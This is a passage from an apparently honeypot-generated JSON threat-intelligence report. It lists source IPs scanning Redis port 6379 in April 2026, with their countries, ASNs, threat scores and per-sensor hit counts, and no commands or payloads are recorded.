        "frequency": 14.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 29,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T14:20:11.771000+00:00",
        "last_seen_30d": "2026-04-30T05:49:54.033000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 5
      }
    },
    "64.62.197.154": {
      "attack_count": 4,
      "first_seen": "2026-04-03T11:57:07.000Z",
      "last_seen": "2026-04-03T11:58:17.217Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 67.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 28,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T03:08:59.113000+00:00",
        "last_seen_30d": "2026-04-30T04:45:13.270000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 2
      }
    },
    "64.62.197.236": {
      "attack_count": 4,
      "first_seen": "2026-04-04T12:37:06.000Z",
      "last_seen": "2026-04-04T12:38:15.499Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 69.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 30,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T06:18:33+00:00",
        "last_seen_30d": "2026-04-30T13:27:42.689000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Honeytrap": 4
      }
    },
    "3.129.187.38": {
      "attack_count": 283,
      "first_seen": "2026-04-08T03:15:25.000Z",
      "last_seen": "2026-04-26T02:55:30.010Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11366,
        "days_active_30d": 30,
        "ports_targeted_30d": 177,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T02:55:56.521000+00:00",
        "last_seen_30d": "2026-04-30T17:42:35.411000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7344,
        "Honeytrap": 3328,
        "Cowrie": 176,
        "Dionaea": 161,
        "Mailoney": 146,
        "ConPot": 84,
        "Redishoneypot": 75,
        "ElasticPot": 17,
        "Tanner": 11,
        "Honeyaml": 10,
        "Ipphoney": 6,
        "CitrixHoneypot": 3,
        "H0neytr4p": 3,
        "Ciscoasa": 2
      }
    },
    "45.91.64.7": {
      "attack_count": 190,
      "first_seen": "2026-04-07T11:06:15.000Z",
      "last_seen": "2026-04-27T11:45:05.940Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 214664,
      "as_org": "JSC Buduschee",
      "threat_score": 96.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 683,
        "days_active_30d": 28,
        "ports_targeted_30d": 61,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-03T05:40:20.599000+00:00",
        "last_seen_30d": "2026-04-30T22:38:20.585000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 454,
        "Honeytrap": 94,
        "Redishoneypot": 60,
        "ElasticPot": 40,
        "Dionaea": 24,
        "Honeyaml": 6,
        "H0neytr4p": 3,
        "ConPot": 2
      }
    },
    "45.95.147.229": {
      "attack_count": 139,
      "first_seen": "2026-04-07T05:21:36.000Z",
      "last_seen": "2026-04-13T22:58:03.510Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 10.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 127813,
        "days_active_30d": 13,
        "ports_targeted_30d": 1910,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T13:22:28.294000+00:00",
        "last_seen_30d": "2026-04-13T23:07:07.094000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92017,
        "Honeytrap": 34897,
        "Sentrypeer": 288,
        "Mailoney": 238,
        "ConPot": 105,
        "Dionaea": 95,
        "Adbhoney": 66,
        "Miniprint": 32,
        "Redishoneypot": 24,
        "Cowrie": 21,
        "H0neytr4p": 19,
        "CitrixHoneypot": 4,
        "ElasticPot": 4,
        "Tanner": 3
      }
    },
    "36.133.118.248": {
      "attack_count": 97,
      "first_seen": "2026-04-05T09:58:52.000Z",
      "last_seen": "2026-04-27T10:13:56.624Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 42.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.1,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T09:58:53+00:00",
        "last_seen_30d": "2026-04-27T10:13:56.624000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 30,
        "Suricata": 11
      }
    },
    "20.207.238.171": {
      "attack_count": 76,
      "first_seen": "2026-04-05T08:21:12.000Z",
      "last_seen": "2026-04-25T08:51:51.800Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jamnagar",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T08:21:12+00:00",
        "last_seen_30d": "2026-04-25T08:51:51.800000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 24,
        "Suricata": 8
      }
    },
    "218.59.175.217": {
      "attack_count": 74,
      "first_seen": "2026-04-01T05:39:45.000Z",
      "last_seen": "2026-04-30T18:20:32.808Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 50.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:39:45+00:00",
        "last_seen_30d": "2026-04-30T18:20:32.808000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Redishoneypot": 9
      }
    },
    "66.240.236.116": {
      "attack_count": 74,
      "first_seen": "2026-04-09T09:53:18.000Z",
      "last_seen": "2026-04-30T23:39:56.339Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 92.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 30,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T22:55:12+00:00",
        "last_seen_30d": "2026-04-30T23:39:56.339000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 125,
        "Redishoneypot": 24,
        "Honeytrap": 17,
        "Dionaea": 13,
        "Cowrie": 6,
        "Tanner": 2,
        "ElasticPot": 1,
        "H0neytr4p": 1
      }
    },
    "61.240.139.28": {
      "attack_count": 70,
      "first_seen": "2026-04-03T06:12:31.000Z",
      "last_seen": "2026-04-21T04:01:07.237Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T06:13:35.395000+00:00",
        "last_seen_30d": "2026-04-21T04:01:07.237000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 10
      }
    },
    "143.110.246.150": {
      "attack_count": 58,
      "first_seen": "2026-04-02T21:08:06.000Z",
      "last_seen": "2026-04-29T16:42:28.962Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T21:08:06+00:00",
        "last_seen_30d": "2026-04-29T16:42:28.962000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 18,
        "Suricata": 6
      }
    },
    "185.107.80.93": {
      "attack_count": 57,
      "first_seen": "2026-04-01T05:12:57.000Z",
      "last_seen": "2026-04-29T07:03:51.384Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Ouistreham",
      "asn": 43350,
      "as_org": "NForce Entertainment B.V.",
      "threat_score": 96.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 394,
        "days_active_30d": 30,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T02:27:19.856000+00:00",
        "last_seen_30d": "2026-04-30T19:34:09.171000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 281,
        "Honeytrap": 84,
        "Cowrie": 16,
        "Redishoneypot": 8,
        "Dionaea": 5
      }
    },
    "184.105.247.254": {
      "attack_count": 52,
      "first_seen": "2026-04-24T12:13:29.000Z",
      "last_seen": "2026-04-30T00:14:33.069Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 462,
        "days_active_30d": 30,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T01:15:44+00:00",
        "last_seen_30d": "2026-04-30T09:24:32.964000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 265,
        "Honeytrap": 117,
        "Cowrie": 28,
        "Redishoneypot": 22,
        "H0neytr4p": 11,
        "Miniprint": 9,
        "Dionaea": 6,
        "Adbhoney": 2,
        "ConPot": 2
      }
    },
    "65.49.1.10": {
      "attack_count": 52,
      "first_seen": "2026-04-06T12:45:42.000Z",
      "last_seen": "2026-04-08T00:14:09.268Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 308,
        "days_active_30d": 30,
        "ports_targeted_30d": 87,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T03:30:31.007000+00:00",
        "last_seen_30d": "2026-04-30T14:28:47.623000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 177,
        "Honeytrap": 85,
        "Redishoneypot": 22,
        "Cowrie": 9,
        "Miniprint": 8,
        "Dionaea": 3,
        "ConPot": 2,
        "Tanner": 2
      }
    },
    "80.82.70.133": {
      "attack_count": 52,
      "first_seen": "2026-04-01T11:32:46.000Z",
      "last_seen": "2026-04-23T06:55:46.766Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 95.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 378,
        "days_active_30d": 30,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T10:33:14.952000+00:00",
        "last_seen_30d": "2026-04-30T21:29:35.921000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 273,
        "Honeytrap": 74,
        "Redishoneypot": 12,
        "Dionaea": 8,
        "Cowrie": 6,
        "ElasticPot": 2,
        "Tanner": 2,
        "Honeyaml": 1
      }
    },
    "62.109.23.206": {
      "attack_count": 40,
      "first_seen": "2026-04-23T13:31:19.000Z",
      "last_seen": "2026-04-23T13:33:27.373Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 29182,
      "as_org": "JSC IOT",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T13:31:29+00:00",
        "last_seen_30d": "2026-04-23T13:33:27.373000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 2
      }
    },
    "43.134.0.85": {
      "attack_count": 36,
      "first_seen": "2026-04-09T02:49:44.000Z",
      "last_seen": "2026-04-25T04:15:22.671Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T02:49:45+00:00",
        "last_seen_30d": "2026-04-25T04:15:22.671000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 4
      }
    },
    "115.190.15.61": {
      "attack_count": 32,
      "first_seen": "2026-04-03T00:34:34.000Z",
      "last_seen": "2026-04-28T05:26:30.867Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-03T00:35:43.948000+00:00",
        "last_seen_30d": "2026-04-28T05:26:30.867000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "100.50.17.159": {
      "attack_count": 30,
      "first_seen": "2026-04-01T01:58:51.000Z",
      "last_seen": "2026-04-20T01:19:59.776Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 434,
        "days_active_30d": 30,
        "ports_targeted_30d": 184,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:53:31.429000+00:00",
        "last_seen_30d": "2026-04-30T16:40:32.805000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 434
      }
    },
    "42.118.202.165": {
      "attack_count": 29,
      "first_seen": "2026-04-04T06:08:56.000Z",
      "last_seen": "2026-04-06T13:53:47.731Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T06:08:56+00:00",
        "last_seen_30d": "2026-04-06T13:53:47.731000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 3
      }
    },
    "85.11.183.25": {
      "attack_count": 27,
      "first_seen": "2026-04-29T10:26:28.000Z",
      "last_seen": "2026-04-29T10:27:34.347Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 201002,
      "as_org": "PebbleHost Ltd",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2049,
        "days_active_30d": 30,
        "ports_targeted_30d": 295,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T03:36:12+00:00",
        "last_seen_30d": "2026-04-30T03:41:56.979000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1393,
        "Honeytrap": 604,
        "Cowrie": 22,
        "ConPot": 6,
        "Redishoneypot": 6,
        "CitrixHoneypot": 5,
        "H0neytr4p": 5,
        "Dionaea": 4,
        "Tanner": 3,
        "ElasticPot": 1
      }
    },
    "184.105.247.252": {
      "attack_count": 26,
      "first_seen": "2026-04-02T13:53:56.000Z",
      "last_seen": "2026-04-02T13:55:53.604Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 30,
        "ports_targeted_30d": 66,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T01:37:44+00:00",
        "last_seen_30d": "2026-04-30T04:42:36.981000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 184,
        "Honeytrap": 104,
        "Mailoney": 12,
        "Redishoneypot": 11,
        "Cowrie": 6,
        "Adbhoney": 4,
        "ConPot": 2,
        "Dionaea": 2,
        "Honeyaml": 2
      }
    },
    "216.218.206.66": {
      "attack_count": 26,
      "first_seen": "2026-04-01T00:13:13.000Z",
      "last_seen": "2026-04-01T00:14:54.600Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 279,
        "days_active_30d": 30,
        "ports_targeted_30d": 62,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T00:13:14+00:00",
        "last_seen_30d": "2026-04-30T15:31:31.082000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 163,
        "Honeytrap": 90,
        "Redishoneypot": 11,
        "ConPot": 7,
        "Dionaea": 5,
        "Tanner": 3
      }
    },
    "74.82.47.2": {
      "attack_count": 26,
      "first_seen": "2026-04-23T13:54:47.000Z",
      "last_seen": "2026-04-23T13:56:30.841Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 378,
        "days_active_30d": 30,
        "ports_targeted_30d": 62,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T11:44:11+00:00",
        "last_seen_30d": "2026-04-30T13:04:09.309000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 227,
        "Honeytrap": 102,
        "Redishoneypot": 11,
        "H0neytr4p": 10,
        "Miniprint": 9,
        "Mailoney": 6,
        "Dionaea": 4,
        "Honeyaml": 4,
        "Tanner": 3,
        "ConPot": 2
      }
    },
    "20.169.104.246": {
      "attack_count": 25,
      "first_seen": "2026-04-14T18:42:17.000Z",
      "last_seen": "2026-04-14T18:44:22.256Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 6.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 8,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-14T18:43:02+00:00",
        "last_seen_30d": "2026-04-21T09:03:07.052000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Redishoneypot": 5,
        "Honeytrap": 4
      }
    },
    "47.250.81.7": {
      "attack_count": 25,
      "first_seen": "2026-04-03T18:18:13.000Z",
      "last_seen": "2026-04-03T18:19:25.569Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 10.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 13,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T18:18:13+00:00",
        "last_seen_30d": "2026-04-15T01:54:39.205000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Redishoneypot": 6,
        "Dionaea": 4
      }
    },
    "47.84.143.45": {
      "attack_count": 25,
      "first_seen": "2026-04-05T17:46:46.000Z",
      "last_seen": "2026-04-05T17:47:56.580Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 41.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 16.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 20,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-05T17:46:46+00:00",
        "last_seen_30d": "2026-04-24T08:23:35.454000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 8,
        "Redishoneypot": 6
      }
    },
    "8.219.222.66": {
      "attack_count": 25,
      "first_seen": "2026-04-02T11:50:49.000Z",
      "last_seen": "2026-04-02T11:51:59.594Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 68.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 23.3,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 28,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T11:50:49+00:00",
        "last_seen_30d": "2026-04-29T13:13:39.186000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29,
        "Dionaea": 12,
        "Cowrie": 6,
        "Redishoneypot": 6
      }
    },
    "8.221.136.6": {
      "attack_count": 24,
      "first_seen": "2026-04-04T22:37:24.000Z",
      "last_seen": "2026-04-04T22:38:34.487Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
